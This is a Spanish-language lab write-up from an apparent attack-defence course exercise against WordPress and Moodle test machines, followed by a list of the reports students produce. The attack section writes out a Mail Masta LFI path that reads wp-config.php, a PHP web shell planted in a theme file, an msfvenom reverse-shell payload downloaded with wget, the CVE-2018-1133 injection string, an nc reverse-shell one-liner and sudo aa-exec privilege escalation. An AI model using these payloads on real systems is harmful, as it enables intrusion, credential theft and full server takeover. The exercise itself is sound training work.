Informes
Una vez que la infraestructura está preparada y el alumnado ha levantado el entorno, se llevará a cabo un ejercicio de ataque-defensa. Este ejercicio generará una serie de informes esenciales para evaluar y documentar las actividades realizadas. Los informes a elaborar son los siguientes:
Informe de explotación
Este informe detalla los métodos y técnicas de ataque utilizados por los estudiantes durante el ejercicio. Su propósito es identificar las vulnerabilidades explotadas y documentar el proceso del ataque.
Las pruebas de pentesting se realizarán a las siguientes subredes y dominios:
- Dirección IP PC1: 192.168.1.130
- Dirección IP PC2: 192.168.1.133
Se permitirá el uso de cualquier tipo de técnica automatizada, como enumeraciones y escaneo de vulnerabilidades, siempre y cuando no provoquen problemas de disponibilidad a los servicios de la empresa. Las siguientes acciones están fuera del alcance de esta evaluación:
- Phishing / Ingeniería social
- Acciones destructivas o pruebas de Denegación de Servicio (DoS)
- Modificaciones en el entorno sin el consentimiento escrito del personal de TI autorizado
Tras conocer el alcance y llevar a cabo diversas investigaciones, hemos finalizado con la siguiente infraestructura, la cual ha sido analizada.

Máquina WordPress: Servidor Web
NMAP
Lanzamos el comando de reconocimiento y obtenemos la siguiente información:


Como se observa en la imagen anterior, la máquina tiene varios puertos abiertos, destacando el puerto 80 para HTTP y el puerto 443 para HTTPS.
Fuzzing
Realizamos una serie de pruebas de fuzzing utilizando la herramienta Gobuster para identificar directorios y archivos ocultos en el servidor web.

Enumeración de Vulnerabilidades con WPScan
Se utilizó WPScan para enumerar los usuarios y plugins del sitio WordPress:
wpscan --url http://192.168.1.130/wordpress -e u
Durante este proceso, se encontró el plugin "Mail Masta" versión 1.0, que es vulnerable a una inclusión local de archivos (LFI). La vulnerabilidad de inclusión de archivos permite a un atacante incluir un archivo, generalmente explotando los mecanismos de "inclusión dinámica de archivos" implementados en la aplicación de destino. La vulnerabilidad se produce debido al uso de entradas proporcionadas por el usuario sin la validación adecuada.

Explotación de la Vulnerabilidad LFI
Primero, se intentó acceder directamente al archivo wp-config.php utilizando la vulnerabilidad LFI con la siguiente URL:
/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=../../../../../wp-config.php
Sin embargo, debido a que el contenido del archivo .php no se puede mostrar directamente, se empleó una técnica adicional para leer su contenido.
Extracción del Contenido en Base64
Para sortear la limitación de lectura directa del archivo .php, se utilizó una cadena de comando que convierte el contenido del archivo en base64. Esto permite codificar los datos del archivo en un formato que puede ser leído y decodificado posteriormente. El comando usado fue el siguiente:
/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=pHp://FilTer/convert.base64-encode/resource=../../../../../wp-config.php
Visualización del Contenido Extraído
La imagen a continuación muestra el resultado de la extracción en base64, lo cual permite visualizar y luego decodificar el contenido del archivo wp-config.php:

Este método de explotación evidencia la importancia de mantener los plugins actualizados y asegurados contra vulnerabilidades conocidas, así como implementar medidas de seguridad adicionales para proteger los archivos críticos del sistema.
Decodificación del Contenido en Base64
El contenido del archivo wp-config.php extraído en base64 se decodificó para obtener el usuario y la contraseña de la base de datos de WordPress. Esta información es crucial para acceder a la administración del sitio.

Acceso al Panel de Administración de WordPress
Con las credenciales obtenidas, se accedió al panel de administración de WordPress.
Modificación del archivo index.php del tema activo
Se modificó el archivo index.php del tema activo (twentynineteen en este caso) para añadir una puerta trasera que permite la ejecución de comandos:
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Ejecución de Comandos a través de la URL
Con la puerta trasera añadida, se pueden ejecutar comandos directamente desde la URL. Por ejemplo, para ejecutar el comando whoami:
http://192.168.1.130/wordpress/wp-content/themes/twentynineteen/index.php?cmd=whoami

Esta técnica permitió obtener el control del sitio web y ejecutar comandos en el servidor subyacente.
Configuración del Servidor Python
Se inició un servidor Python para alojar y servir el payload malicioso. Esto se realizó con el siguiente comando
python3 -m http.server 8000
Este comando lanza un servidor HTTP en el puerto 8000 del sistema.
Creación del Payload de Reverse Shell con msfvenom
Se generó un payload de reverse shell en formato ejecutable (.exe) utilizando msfvenom. El comando utilizado fue
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.133 LPORT=4455 -f exe -o payloadproyectofinal.exe
Donde
- -p windows/shell_reverse_tcp: Especifica el payload de reverse shell para Windows
- LHOST=192.168.1.133: Dirección IP del atacante donde se recibirá la conexión
- LPORT=4455: Puerto en el que el atacante escucha la conexión entrante
- -f exe: Formato del archivo de salida (ejecutable)
- -o payloadproyectofinal.exe: Nombre del archivo de salida
Subida del Payload al Servidor
El payload fue alojado en el servidor Python para que fuera accesible a través de una URL. Para descargar el payload en la máquina objetivo, se utilizó wget
wget -o p.exe http://192.168.1.133:8000/payloadproyectofinal.exe
Ejecución del Payload en la Máquina Objetivo
Una vez descargado, el payload se ejecutó en la máquina objetivo. La ejecución se realizó mediante una URL específica que invoca el comando PowerShell
http://192.168.1.130/wordpress/wp-content/themes/twentynineteen/index.php?cmd=powershell ".\p.exe"
La URL envía el comando para ejecutar el archivo payloadproyectofinal.exe en la máquina objetivo.
Obtención de la Reverse Shell
Al ejecutar el payload en la máquina objetivo, se establece una conexión de reverse shell de vuelta al atacante en el puerto 4455. Esto permite el control remoto y la ejecución de comandos en la máquina objetivo.

Máquina Moodle: Servidor Web
NMAP
Lanzamos el comando de reconocimiento y obtenemos la siguiente información:

Acceso al Servicio FTP
Accedimos al servicio FTP de manera anónima y logramos encontrar el usuario y la contraseña para el Moodle.


Acceso a la Web
Accedimos a la página web del servidor y nos encontramos con la página predeterminada de Apache2, lo que indica que el servidor web está funcionando correctamente, pero no hay ningún contenido específico cargado en este momento.

Fuzzing
Realizamos una serie de pruebas de fuzzing utilizando la herramienta Gobuster para identificar directorios y archivos ocultos en el servidor web.

Acceso a Moodle
Con las credenciales encontradas, accedimos a la página de Moodle. Una vez dentro, verificamos que la versión era 3.4.1.

Explotación de la Vulnerabilidad en Moodle 3.4.1
Investigamos en internet y encontramos un exploit para la versión 3.4.1. La vulnerabilidad, CVE-2018-1133, permite a cualquier usuario con el rol de profesor obtener ejecución remota de código (RCE) a través de Moodle. La vulnerabilidad se encuentra en la parte del código que permite a un profesor definir un problema como “¿Cuál es {x} + {y}?”, y tener diferentes x e y para cada estudiante. Moodle elige un x y un y aleatorio, y luego obtiene la respuesta llamando a eval() de PHP en la fórmula de entrada. Si se puede envenenar la entrada, se puede hacer que ejecute código arbitrario.
Iniciamos sesión usando las credenciales encontradas y navegamos a una clase (por ejemplo, Algebra). Desde allí, activamos el modo de edición:

Para cualquiera de los temas, hacemos clic en "Añadir una actividad o un recurso", seleccionamos "Cuestionario" y hacemos clic en "Añadir". Llenamos un nombre y descripción, y guardamos.

Luego, hacemos clic en el cuestionario y seleccionamos "Editar cuestionario". Hacemos clic en "Añadir" y luego en "una nueva pregunta". En la ventana emergente, seleccionamos "Calculada" y hacemos clic en "Añadir". Llenamos todos los campos requeridos, pero el único que importa es la "Fórmula de la respuesta 1". Allí agregamos la cadena del exploit:
/*{a*/`$_GET[0]`;//{x}}

Obtención de una Reverse Shell
Utilizamos esta RCE para obtener una shell, tomando nuestro método habitual de la cheat sheet de reverse shells. Agregamos 0=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.1.138 443 >/tmp/f al final de la URL, codificando el & para que no sea tratado como otro parámetro. Obtenemos una conexión de vuelta en nc:

Mejora de la Shell
Usamos Python para lanzar bash a través del módulo pty.

Comprobar permisos
Verificamos los permisos y capacidades del usuario actual utilizando sudo -l. Esto nos permite ver qué comandos podemos ejecutar con privilegios elevados.

Busqueda aa-exec
Identificamos que el binario aa-exec está permitido para su ejecución con privilegios elevados a través de sudo. Este binario puede ser utilizado para acceder al sistema de archivos y potencialmente escalar privilegios.

Escalada de Privilegios
Para escalar los privilegios y obtener acceso root, utilizamos aa-exec con el siguiente comando:
sudo aa-exec /bin/sh

Informe de pentesting
El informe de pentesting proporciona una evaluación completa de la seguridad de la infraestructura, identificando todas las vulnerabilidades encontradas durante el ejercicio.
Contenido: Metodología empleada, resultados de las pruebas, representación gráfica de las vulnerabilidades y recomendaciones de seguridad.
Informe del análisis forense del incidente
Este informe recopila y analiza las evidencias digitales relacionadas con el incidente de seguridad. Su objetivo es reconstruir el ataque, determinar su origen y alcance, y preservar la cadena de custodia.
Contenido: Recopilación de evidencias, análisis detallado, herramientas y técnicas forenses, y conclusiones sobre el incidente.
Informe de mitigación de las vulnerabilidades
El informe de mitigación detalla los pasos necesarios para corregir las vulnerabilidades identificadas durante el pentesting y el análisis forense, y describe las medidas implementadas para prevenir futuros ataques.
Contenido: Listado de vulnerabilidades, plan de mitigación, implementación de medidas de seguridad y evaluación de su efectividad.
Informe de evaluación del ejercicio
Este informe evalúa el desempeño del alumnado durante el ejercicio de ataque-defensa, proporcionando retroalimentación sobre las estrategias y técnicas utilizadas y recomendando áreas de mejora.
Contenido: Evaluación del desempeño, retroalimentación, identificación de áreas de mejora, y análisis del impacto educativo del ejercicio.
Estos informes no solo ayudan a documentar el ejercicio de ataque-defensa, sino que también sirven como herramientas de aprendizaje y mejora continua para el alumnado, permitiéndoles aplicar sus conocimientos en situaciones prácticas y reales.